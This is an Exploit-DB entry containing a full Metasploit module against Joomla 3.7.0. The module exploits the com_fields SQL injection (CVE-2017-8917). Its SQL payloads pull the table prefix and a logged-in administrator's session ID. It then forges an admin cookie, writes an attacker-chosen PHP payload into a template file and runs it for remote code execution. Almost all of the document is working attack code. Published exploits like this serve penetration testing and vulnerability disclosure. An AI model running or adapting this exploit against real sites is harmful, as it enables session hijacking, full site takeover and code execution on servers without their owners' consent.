Joomla Component Fields - SQLi Remote Code Execution (Metasploit)

EDB-ID:

44358




Platform:

PHP

Date:

2018-03-29


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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Joomla Component Fields SQLi Remote Code Execution',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability in the com_fields
        component, which was introduced to the core of Joomla in version 3.7.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mateus Lino', # Vulnerability discovery
          'luisco100 <luisco100[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2017-8917' ], # SQLi
          [ 'EDB', '42033' ],
          [ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
        ],
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space'       => 262144, # 256k
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Joomla 3.7.0', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 17 2017',
      'DefaultTarget'  => 0))

  end

  def check
    # Request using a non-existing table
    val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')

    if val.nil?
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end


  def sqli(tableprefix, option)
    # SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
    # The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
    # This way we make sure that's excluded and we only get real Administrator or Super User sessions.
    if option == 'check'
      start = rand_text_alpha(5)
      start_h = start.unpack('H*')[0]
      fin = rand_text_alpha(5)
      fin_h = fin.unpack('H*')[0]

      sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
    else
      start = rand_text_alpha(3)
      start_h = start.unpack('H*')[0]
      fin = rand_text_alpha(3)
      fin_h = fin.unpack('H*')[0]

      sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
    end

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'option' => 'com_fields',
        'view' => 'fields',
        'layout'=> 'modal',
        'list[fullordering]' => sql
        }
      })

    if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
      return $1
    end
    return nil
  end


  def exploit
    # Request using a non-existing table first, to retrieve the table prefix
    val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
    if val.nil?
      fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
    else
      table_prefix = Base64.decode64(val)
      table_prefix.sub! '_session', ''
      print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
    end

    # Retrieve the admin session using our retrieved table prefix
    val = sqli("#{table_prefix}_", 'exploit')
    if val.nil?
      fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
    else
      auth_cookie_part = val
      print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
    end

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php')
    })

    if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
      cookie_begin = $1
      print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
    end

    # Modify cookie to authenticated admin
    auth_cookie = cookie_begin
    auth_cookie << '='
    auth_cookie << auth_cookie_part
    auth_cookie << ';'

    # Authenticated session
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie
      })

    if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
      print_good("#{peer} - Successfully authenticated")
    else
      fail_with(Failure::Unknown, "#{peer} - Session failure")
    end

    # Retrieve template view
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'templates'
        }
      })

    # We try to retrieve and store the first template found
    if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
      template_id = $1
      file_id = $2

      form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
      input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
      input_id = input_hidden[7].split("\"")
      input_id = input_id[1]

    else
      fail_with(Failure::Unknown, "Unable to retrieve template")
    end



    filename = rand_text_alphanumeric(rand(10)+6)
    # Create file
    print_status("#{peer} - Creating file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'administrator', 'index.php'),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'task' => 'template.createFile',
        'id' => template_id,
        'file' => file_id,
        },
      'vars_post' => {
        'type' => 'php',
        'address' => '',
        input_id => '1',
        'name' => filename
      }
      })

    # Grab token
    if res && res.code == 303 && res.headers['Location']
      location = res.headers['Location']
      print_status("#{peer} - Following redirect to [ #{location} ]")
      res = send_request_cgi(
        'uri'    => location,
        'method' => 'GET',
        'cookie' => auth_cookie
      )

      # Retrieving template token
      if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
        token = $1
        print_status("#{peer} - Token [ #{token} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
      end

      if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
        template_path = $1
        print_status("#{peer} - Template path [ #{template_path} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
      end

    else
      fail_with(Failure::Unknown, "#{peer} - Creating file failed")
    end

    filename_base64 = Rex::Text.encode_base64("/#{filename}.php")

    # Inject payload data into file
    print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'template',
        'id' => template_id,
        'file' => filename_base64,
        },
      'vars_post' => {
        'jform[source]' => payload.encoded,
        'task' => 'template.apply',
        token => '1',
        'jform[extension_id]' => template_id,
        'jform[filename]' => "/#{filename}.php"
      }
      })

    if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
      print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
    end

    # Request payload
    register_files_for_cleanup("#{filename}.php")
    print_status("#{peer} - Executing payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
      'cookie'  => auth_cookie
    })
  end
end